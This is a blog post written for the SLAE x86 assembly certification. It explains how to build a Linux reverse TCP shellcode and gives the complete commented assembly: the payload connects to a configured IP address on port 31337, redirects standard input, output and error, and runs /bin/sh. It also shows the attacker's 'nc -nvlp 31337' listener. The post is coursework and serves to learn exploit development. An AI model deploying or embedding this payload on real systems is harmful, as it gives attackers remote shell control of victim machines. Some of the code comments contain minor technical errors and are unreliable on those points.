Friday, 10 April 2020


This blog post has been created for completing the requirements of SecurityTube Linux Assembly Expert Certification:http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/Student ID: SLAE - 1342

Hello Shellcoders,
    It's been a while since I have written any article. So due to the COVID-19 outbreak, I got a chance to relearn assembly and start working on my SLAE assignments again, if you haven’t seen my Assignment 1 blog post on bind shell x86 shellcoding, then you can check it [Here].
Today in this post we will be discussing the Reverse Tcp Shell x86 Shellcode which is the second assignment for the SLAE exam. So the requirement is:
Create a shell_reverse_tcp shellcode
  • Reverse connection to configured IP and port.
  • Execs shell on successful connection 
IP and port should be easily configurable.
So, first let’s see what a reverse shell is and how it works,


So unlike the previously discussed post on bind shell x86 shellcoding, reverse shell is slightly different. If you will pay attention to the above diagram, in reverse shell what an attacker generally do is,  he first initiates a reverse TCP connection from the victim machine that has been compromised and uses it to get back to a host (which the attacker controls). Then after successful connect b/w victim computer and attacker computer it launches a bash or sh shell in case of Linux with which the attacker can interact.

I hope the basic understanding about the reverse shell is clear in your mind now. If you still have any doubt then feel free to ping me on twitter [@Pwsecspirit] Let's start by seeing the C code first for the reverse shell to get the idea of implementation in assembly x86. So I am referring to this C code, which you can find [Here].

It gives us a rough idea about what syscalls we will be needing in our journey.
  • socket()
  • connect()
  • dup2()
  • execve()
Alright so these are the syscalls that we need to use, but how would we be able to call them? Well for that we will need socketcall() Now in my last post I read the value from “unistd_32.h” itself, but now I use sysref tool by one of my friends @berkcgoksel. Go try it if you know which syscall you want to look for.


Okay so " sys_Socketcall " is at 102 number, in hex it's value would be 0x66. Now in assembly we can't write use connect().  A particular value is assigned to each call instead. We need call numbers for the socket and connect calls.


Okay we will need 1 for socket() and 3 for connect() AF_MAX values. Now let's begin with the assembly code.

Your assembly must have _start in the code so it will understand that the code will begin from that point. Now start writing in the _start section:


As discussed in the previous post we are going to use the same XOR operation. If you don’t know about XOR, let me tell you there is a very beautiful property of XOR which we are using here,
The property says , XOR something with itself will always be 0.
So, " xor eax, eax " will be 0 or NULL out the eax register , same with “xor ebx,ebx” ebx register and same with “xor ecx,ecx” ecx register. All of these  instruction takes 2 bytes in our shellcode so in order to save our 1 byte I have used cdq because the CDQ instruction copies the sign (bit 31) of the value in the EAX register into every bit position in the EDX register.


Everything is explained in the comments but let me clear some stuff just in case.. In assembly we use " ; " semicolon to comment something.
  • EAX- System call number
  • EBX- First argument
  • ECX- Second argument
  • EDX- Third argument
  • ESI- Forth argument
  • EDI- Fifth argument
In the end when everything is done we use " int 0x80 " to interrupt the call. In normal language it's like calling the kernel, giving them all register values and using those values the kernel will  get the work done for us. Ez Pz? Moving ahead.


Well, whenever you interrupt the call the return value of the function gets stored in the eax register. So to save it for our future reference we can save it in some other register that we are not using. So I chose the esi register and I am using xchg instruction so it will simply exchange the value between them.
Its like if esi -> 0 
And eax -> 4

Then after (xchg esi, eax) , the values or the data will get exchanged. ESI will now have 4 and EAX will have 0. Now lets have a look at connect().


It will call connect() , also if you want to change the ip address and port number then you can simply change “push dword 0x8198a8c0 ” for ip in hex-> little endian , " mov word dx,0x697a " for port , with your hex value of your port number.

Now we will need dup2() , Read more about from [Here]. First thing first, we need to find the dup2 syscall number.


The syscall number for dup2 is 63 which is 0x3f in hex.


So we are just running the loop and it will run 3 times with the value. Here we are using a loop for duplicating in, out and error with the file descriptor. Now we are left with the final thing.




This is the basic execve() shellcode. It will just pop the " /bin/sh " shell for us xD . Read more about it. [Here]

; Author: Shubham Singh
; SLAE - 1342
; Assignment 2: Shell Reverse TCP Shellcode / Linux x86 (83 Bytes)
global _start
section .text
_start:
;socket(AF_INET, SOCK_STREAM, 0)
;socket(2,1,0)
;The sys_socketcall value is 102 and 0x66 in hex.
xor eax,eax ;eax is now 0
xor ebx,ebx ;ebx is now 0
xor ecx,ecx ;ecx is now 0
cdq ;edx is now 0 as cdq convert dword to quad word and uses edx:eax
mov al,0x66 ;socketcall() syscall number is 102 in decimal and 0x66 in hexadecimal.
inc ebx ;EBX was 0 before this instruction, now inc will increase by 1. So after this instruction the ebx will be 1
push ecx ;ecx is 0 and we are pushing 0x00000000 on stack
push BYTE 0x1 ;Pushing 0x1 byte on stack
push BYTE 0x2 ;Pushing 0x2 byte on stack
mov ecx,esp ;Now ecx will have the value of esp which points to the top of the stack.
int 0x80 ;intrupt sys call and now the access will go to kernel
xchg esi,eax ;save the eax value that is the return value from the above syscall. Which is actually the FD
;connect(s, [(struct sockaddr *)&sa], sizeof(sa))
push dword 0x8198a8c0 ;IP=192.168.152.129 , address in little endian, it's 192 -> c0 , 168 ->a8 , 152->98, 129->81
mov word dx,0x697a ;port=31337, in little endian. moving the 31337 hex value in dx register.
push dx ;pushing the value that dx currently holds on stack.
push word 0x2 ;pushing 0x2 i.e 2 on stack
mov edx,esp ;Now edx will have the value of esp which points to the top of the stack
push 0x10 ;pushing 0x10 BYTE on stack
push edx ;pushing the edx pointer on stack,
push esi ;pushing the esi which has the return value (FD) of socketcall.
mov ecx,esp ;Now ecx will have the value of esp which points to the top of the stack
;xor edx,edx ;Now edx will be 0
mov bl,0x3 ;Moving the 0x3 byte in bl register. bl is the lower 8 bytes of eb register
mov al,0x66 ;connect() has no unique syscall number, we can usesocketcall() syscall number. It is 102 in decimal and 0x66 in hexadecimal.
int 0x80 ;intrupt sys call and now the access will go to kernel
;dup2()
xor eax,eax ;Now eax will be 0
cdq ;edx is now 0 as cdq convert dword to quad word and uses edx:eax
xor ecx,ecx ;Now ecx will be 0
mov cl,0x2 ;Moving 0x2 inside cl register which is the lowest 8 bytes of ecx register.
dup_loop:
mov al,0x3F ;dup2() syscall is 66 in decimal and 0x3f in hex we are moving it inside al register
int 0x80 ;intrupt sys call and now the access will go to kernel
dec ecx ;The dec ecx will decreases the value of ecx by one byte
jns dup_loop ;jns checks if jump short if not sign-> SF=0. So after 0 when the above instruction will run then the sign flag will be set, and we will be out of loop.
; execve(const char *filename, char *const argv[],char *const envp[]);
mov al,0xb ;sys_execve() syscall number is 11 in decimal and 0x0b or 0xb in hex, we are stroring it inside al register.
push edx ;pushing the nullbytes on stack.
;pushing /bin//sh in hex on stack in little endian format
push 0x68732f2f ;Pushing "hs//" on stack in hex
push 0x6e69622f ;Pushihng "nib/" on stack in hex.
mov ebx,esp ;Now EBX will have the value of esp which points to the top of the stack
push edx ;Pushing nullbytes on stack
push ebx ;Pushing the EBX pointer on stack which hold the value to
mov ecx,esp ;Now ecx will have the value of esp which points to the top of the stack-> which points to the ebx pointer
int 0x80 ;intrupt sys call and now the access will go to kernel

Here is the result


In the 1st pane I've just assembled the assembly file and linked the object file.
In the 2nd pane , the attacker is listening on port 31337, "nc -nvlp 31337" command is running to start listening on port 31337.
In pane 3 , I am just executing the shellcode.
In pane 4, I have just shown my IP address.

Please let me know if I made any mistakes,

Thanks,
Spirited Wolf

2 comments

:)
:(
=(
^_^
:D
=D
|o|
:"(
;)
(Y)
:o
:p
:P

Please tell us if we have done anything wrong :) and please share our website if you like.